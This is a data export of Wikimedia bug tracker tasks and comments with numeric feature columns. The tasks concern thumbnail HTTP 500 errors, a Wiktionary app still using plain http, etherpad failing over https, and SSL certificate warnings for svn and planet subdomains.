> I am getting a similar error when trying to download van Gogh:

That's covered in bug 44071 instead.",,,1358500573,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2sndzb2ydzwochmrxplf,task_subcomment,,True,c2,1,True,,,-32,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,11.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1052631578947367,1.0,"(In reply to comment #6)
QUOTE

That's covered in bug 44071 instead."
172134,HTTP 500 error when generating 6000px wide thumbnail of a 6912px wide and 12.5MB JPEG file,"**DIA.Keyser** wrote:

I am getting a similar error when trying to download any size larger than 2048px for this van Gogh:

http://commons.wikimedia.org/wiki/File:Vincent_van_Gogh_-_De_slaapkamer_-_Google_Art_Project.jpg#file",,,1358449619,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2sndzb2ydzwochmrxplf,task_subcomment,,True,c2,1,False,,,-32,True,3.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,13.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,10.0,7.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,7.0,3.0,0.0,0.0,3.6,0.8333333333333334,"**DIA.Keyser** wrote:

I am getting a similar error when trying to download any size larger than 2048px for this van Gogh:

URL"
172132,HTTP 500 error when generating 6000px wide thumbnail of a 6912px wide and 12.5MB JPEG file,"**sumanah** wrote:

Still reproducible at

http://upload.wikimedia.org/wikipedia/commons/thumb/f/f6/Carbon_River_pano_01A.jpg/6565px-Carbon_River_pano_01A.jpg

When I change the width:

https://upload.wikimedia.org/wikipedia/commons/thumb/f/f6/Carbon_River_pano_01A.jpg/72px-Carbon_River_pano_01A.jpg

then it's fine.

This may be related to bug 13493 (""Can't create thumbnail of images with a peculiar aspect ratio"") and bug 20312 (""Error creating thumbnail: Image was not scaled, is the requested width bigger than the source?"").",,,1351149257,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2sndzb2ydzwochmrxplf,task_subcomment,,True,c2,1,False,,,-44,True,0.0,0.0,0.0,3.0,3.0,6.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,4.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,12.0,1.0,1.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,3.0,6.0,1.0,1.0,5.0,0.0,3.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,3.4415584415584415,0.7142857142857143,"**sumanah** wrote:

Still reproducible at

URL

When I change the width:

URL

then it's fine.

This may be related to bug 13493 (""Can't create thumbnail of images with a peculiar aspect ratio"") and bug 20312 (""Error creating thumbnail: Image was not scaled, is the requested width bigger than the source?"")."
172130,HTTP 500 error when generating 6000px wide thumbnail of a 6912px wide and 12.5MB JPEG file,"(In reply to comment #3)
> my guess is that it's failing to resize to a thumbnail that is 6565 pixels
> wide.  It works for smaller images.  

Is it a Wikimedia or a MediaWiki issue then? (Still happening.)",,,1345141253,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-2sndzb2ydzwochmrxplf,task_subcomment,,True,c2,1,True,,,-54,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,25.0,0.0,4.0,7.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,4.0,7.0,7.0,4.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,3.107142857142857,0.8214285714285714,"(In reply to comment #3)
QUOTE
QUOTE

Is it a Wikimedia or a MediaWiki issue then? (Still happening.)"
172127,HTTP 500 error when generating 6000px wide thumbnail of a 6912px wide and 12.5MB JPEG file,"**bhartshorne** wrote:

my guess is that it's failing to resize to a thumbnail that is 6565 pixels wide.  It works for smaller images.  fwiw, convert is failing with exit code 153.",,,1335995479,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2sndzb2ydzwochmrxplf,task_subcomment,,True,c2,1,False,,,-69,True,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,11.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,7.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,7.0,11.0,5.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,5.0,2.0,0.0,0.0,3.4318181818181817,0.75,"**bhartshorne** wrote:

my guess is that it's failing to resize to a thumbnail that is 6565 pixels wide.  It works for smaller images.  fwiw, convert is failing with exit code 153."
172124,HTTP 500 error when generating 6000px wide thumbnail of a 6912px wide and 12.5MB JPEG file,"(In reply to comment #1)
> XID: 1391948384

This XID value seems to change on page refresh, by the way.",,,1335222024,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2sndzb2ydzwochmrxplf,task_subcomment,,True,c2,1,True,,,-71,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,20.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.04,0.96,"(In reply to comment #1)
QUOTE

This XID value seems to change on page refresh, by the way."
172117,HTTP 500 error when generating 6000px wide thumbnail of a 6912px wide and 12.5MB JPEG file,XID: 1391948384,,,1335214085,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-2sndzb2ydzwochmrxplf,task_subcomment,,True,c2,1,False,,,-71,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,XID: 1391948384
37760,"[Wiktionary] Requests are made via http, not https","**Author:** `pfhayes`

**Description:**
This change was made for the beta, but we can't release the real app until this is fixed.

Caused by this bug: https://bugzilla.wikimedia.org/show_bug.cgi?id=34788

--------------------------
**Version**: unspecified
**Severity**: normal",Lowest,10.0,1333741980,1564270843.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-f6r2yvgb6bripyj2yxbu,task_description,declined,True,c2,1,False,False,False,-73,True,0.0,0.0,0.0,3.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,14.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3728813559322033,0.6271186440677966,"**Author:** CODE

**Description:**
This change was made for the beta, but we can't release the real app until this is fixed.

Caused by this bug: URL

--------------------------
**Version**: unspecified
**Severity**: normal"
1324851,"[Wiktionary] Requests are made via http, not https","Boldly declining this task as per discussion and arguments in {T205727}. The way to got forward should be {T165495}. If someone plans to take on development responsibility again, feel free to change the task status back to ""Open"".",,,1564270843,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-f6r2yvgb6bripyj2yxbu,task_subcomment,,True,c2,3,True,,,308,True,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,19.0,2.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,12.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,19.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.020833333333333,0.8125,"Boldly declining this task as per discussion and arguments in {T205727}. The way to got forward should be {T165495}. If someone plans to take on development responsibility again, feel free to change the task status back to ""Open""."
410663,"[Wiktionary] Requests are made via http, not https","I am not working on this project, removing assignment.",,,1423771226,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-f6r2yvgb6bripyj2yxbu,task_subcomment,,True,c2,3,True,,,76,True,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,4.181818181818182,1.0,"I am not working on this project, removing assignment."
167915,"[Wiktionary] Requests are made via http, not https","**pfhayes** wrote:

I am not working on this issue anymore.",,,1393599742,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-f6r2yvgb6bripyj2yxbu,task_subcomment,,True,c2,3,False,,,26,True,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.8235294117647058,"**pfhayes** wrote:

I am not working on this issue anymore."
167909,"[Wiktionary] Requests are made via http, not https","Patrick Hayes: You assigned this issue to you a while ago. 
Could you please provide a status update and inform us whether you are still working (or still plan to work) on this issue? 
Only in case you do not plan to work on this issue anymore, should the assignee be set back to default and the bug status changed from ASSIGNED to NEW/UNCONFIRMED? Thanks.",,,1393598940,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-f6r2yvgb6bripyj2yxbu,task_subcomment,,True,c2,3,True,,,26,True,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,9.0,13.0,0.0,3.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,12.0,1.0,4.0,9.0,0.0,0.0,0.0,0.0,9.0,1.0,0.0,0.0,8.0,13.0,6.0,3.0,0.0,0.0,8.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,3.792207792207792,0.7142857142857143,"Patrick Hayes: You assigned this issue to you a while ago. 
Could you please provide a status update and inform us whether you are still working (or still plan to work) on this issue? 
Only in case you do not plan to work on this issue anymore, should the assignee be set back to default and the bug status changed from ASSIGNED to NEW/UNCONFIRMED? Thanks."
167902,"[Wiktionary] Requests are made via http, not https","[Merging 'Wiktionary App'&'Wikisource App' into 'Wikipedia App', see bug 41922]",,,1363957515,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-f6r2yvgb6bripyj2yxbu,task_subcomment,,True,c2,1,True,,,-23,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,24.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,4.117647058823529,0.7647058823529411,"[Merging 'Wiktionary App'&'Wikisource App' into 'Wikipedia App', see bug 41922]"
37637,etherpad.wikimedia.org does not work correctly on https,"etherpad.wikimedia.org fails to work on https. The page loads correctly, but the channel appears empty, and after a few seconds you get a disconnection notice. At first glance the problem seems to be that the comet request is sent to http: even if the page is on https: and so it is tripped by cross-domain restrictions.

This is a big problem when using HTTPS Everywhere because it force-redirects everything under *.wikimedia.org to https.

--------------------------
**Version**: unspecified
**Severity**: normal",Lowest,10.0,1333282500,1376918907.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,,False,PHID-TASK-g4cbnbytwiddzvg5yq4u,task_description,resolved,True,c2,1,True,False,True,-74,True,0.5,1.0,0.0,1.5,0.0,6.5,2.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.5,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,0.5,2.0,0.0,0.5,1.0,0.0,1.0,0.5,0.0,0.0,0.0,3.5,1.0,0.0,0.0,0.0,0.0,12.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.5,3.5,6.0,3.0,2.0,5.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.5,8.5,2.5,0.0,0.0,0.0,2.5,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,4.209905660377359,0.7329462989840348,"etherpad.wikimedia.org fails to work on https. The page loads correctly, but the channel appears empty, and after a few seconds you get a disconnection notice. At first glance the problem seems to be that the comet request is sent to http: even if the page is on https: and so it is tripped by cross-domain restrictions.

This is a big problem when using HTTPS Everywhere because it force-redirects everything under *.wikimedia.org to https.

--------------------------
**Version**: unspecified
**Severity**: normal"
170060,etherpad.wikimedia.org does not work correctly on https,Fixed up by migrating the service to EtherPad Lite.,,,1376918907,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-g4cbnbytwiddzvg5yq4u,task_subcomment,,True,c2,2,True,,,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,30.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,4.3,1.0,Fixed up by migrating the service to EtherPad Lite.
170052,etherpad.wikimedia.org does not work correctly on https,https://epl.wikimedia.org/p/test%20https,,,1376045945,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-g4cbnbytwiddzvg5yq4u,task_subcomment,,True,c2,2,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
170042,etherpad.wikimedia.org does not work correctly on https,"This report is about https://etherpad.wikimedia.org .

Most people seem to use EtherPad Lite at etherpad.wmflabs.org instead (see bug 34953), where https:// does not even resolve. That's covered in bug 43404.",,,1361182814,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-g4cbnbytwiddzvg5yq4u,task_subcomment,,True,c2,1,True,,,-28,True,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,16.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,4.135135135135135,0.918918918918919,"This report is about URL .

Most people seem to use EtherPad Lite at etherpad.wmflabs.org instead (see bug 34953), where https:// does not even resolve. That's covered in bug 43404."
170034,etherpad.wikimedia.org does not work correctly on https,"If there isnt a fix soon, we should add etherpad to the HTTPS Everywhere exclusion pattern
https://gitweb.torproject.org/https-everywhere.git/blob_plain/HEAD:/src/chrome/content/rules/Wikipedia.xml",,,1334099234,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-g4cbnbytwiddzvg5yq4u,task_subcomment,,True,c2,1,True,,,-73,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,15.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,20.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.95,1.0,"If there isnt a fix soon, we should add etherpad to the HTTPS Everywhere exclusion pattern
URL"
170027,etherpad.wikimedia.org does not work correctly on https,rt 2751,,,1333388885,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-g4cbnbytwiddzvg5yq4u,task_subcomment,,True,c2,1,False,,,-74,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,rt 2751
36721,SVN certificate validation errors,"**Author:** `wmf.amgine3691`

**Description:**
Error validating server certificate for 'https://svn.wikimedia.org:443':
 - The certificate is not issued by a trusted authority. Use the
   fingerprint to validate the certificate manually!
Certificate information:
 - Hostname: *.wikimedia.org
 - Valid: from Tue, 03 Aug 2010 14:43:56 GMT until Sat, 22 Aug 2015 21:23:10 GMT
 - Issuer: Equifax Secure Certificate Authority, Equifax, US
 - Fingerprint: ba:8a:be:34:b1:34:3b:af:06:05:4b:48:a9:27:aa:d9:b4:75:45:6e

--------------------------
**Version**: unspecified
**Severity**: normal",Lowest,10.0,1330224660,1330288661.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-vnprxrpp4alixn2l7ti7,task_description,declined,True,c2,1,False,False,True,-79,True,0.0,0.0,0.0,0.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.5,1.0,3.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,3.0,0.5,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,0.5,17.5,0.0,0.0,2.0,0.0,0.0,0.5,0.0,1.0,0.0,4.5,0.0,0.0,3.0,17.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,4.0661202185792344,0.660655737704918,"**Author:** CODE

**Description:**
Error validating server certificate for 'URL
 - The certificate is not issued by a trusted authority. Use the
   fingerprint to validate the certificate manually!
Certificate information:
 - Hostname: *.wikimedia.org
 - Valid: from Tue, 03 Aug 2010 14:43:56 GMT until Sat, 22 Aug 2015 21:23:10 GMT
 - Issuer: Equifax Secure Certificate Authority, Equifax, US
 - Fingerprint: ba:8a:be:34:b1:34:3b:af:06:05:4b:48:a9:27:aa:d9:b4:75:45:6e

--------------------------
**Version**: unspecified
**Severity**: normal"
168955,SVN certificate validation errors,"I don't believe we've ever properly supported svn over https. In fact, I'd say it's not worth fixing, since svn's going away.",,,1330228859,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-vnprxrpp4alixn2l7ti7,task_subcomment,,True,c2,1,True,,,-79,True,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,10.0,0.0,16.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,10.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,13.0,10.0,3.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.3548387096774195,0.8387096774193549,"I don't believe we've ever properly supported svn over https. In fact, I'd say it's not worth fixing, since svn's going away."
35293,Certificate security warning for https://en.planet.wikimedia.org,"This Connection is Untrusted
      
      
      
      
        
          You have asked Firefox to connect
securely to en.planet.wikimedia.org, but we can't confirm that your connection is secure.
          Normally, when you try to connect securely,
sites will present trusted identification to prove that you are
going to the right place. However, this site's identity can't be verified.
        
        
        
          What Should I Do?
          
            If you usually connect to
this site without problems, this error could mean that someone is
trying to impersonate the site, and you shouldn't continue.
            
          
        
        
        
        
          Technical Details
          en.planet.wikimedia.org uses an invalid security certificate.

The certificate is only valid for the following names:
  *.wikimedia.org , wikimedia.org  

(Error code: ssl_error_bad_cert_domain)

--------------------------
**Version**: unspecified
**Severity**: minor",Lowest,10.0,1324445520,1362791114.0,PHID-USER-bmenasgfntvftznu6wxs,False,,False,PHID-TASK-vxuuvlrquymctzne2bhc,task_description,resolved,True,c2,1,False,False,True,-88,True,0.0,0.5,0.0,1.0,1.5,3.0,1.0,0.0,0.0,0.5,0.5,1.5,0.0,0.5,0.0,1.0,0.0,5.5,7.0,0.5,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,5.0,1.0,0.0,0.5,3.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,4.0,0.0,0.5,0.0,0.0,1.5,9.0,0.0,2.5,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,3.0,3.5,10.0,2.5,2.0,5.5,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,4.0,7.0,3.0,0.5,0.0,0.0,4.0,0.0,1.0,0.5,0.0,2.0,0.0,0.0,0.5,5.75,0.717948717948718,"This Connection is Untrusted
      
      
      
      
        
          You have asked Firefox to connect
securely to en.planet.wikimedia.org, but we can't confirm that your connection is secure.
          Normally, when you try to connect securely,
sites will present trusted identification to prove that you are
going to the right place. However, this site's identity can't be verified.
        
        
        
          What Should I Do?
          
            If you usually connect to
this site without problems, this error could mean that someone is
trying to impersonate the site, and you shouldn't continue.
            
          
        
        
        
        
          Technical Details
          en.planet.wikimedia.org uses an invalid security certificate.

The certificate is only valid for the following names:
  *.wikimedia.org , wikimedia.org  

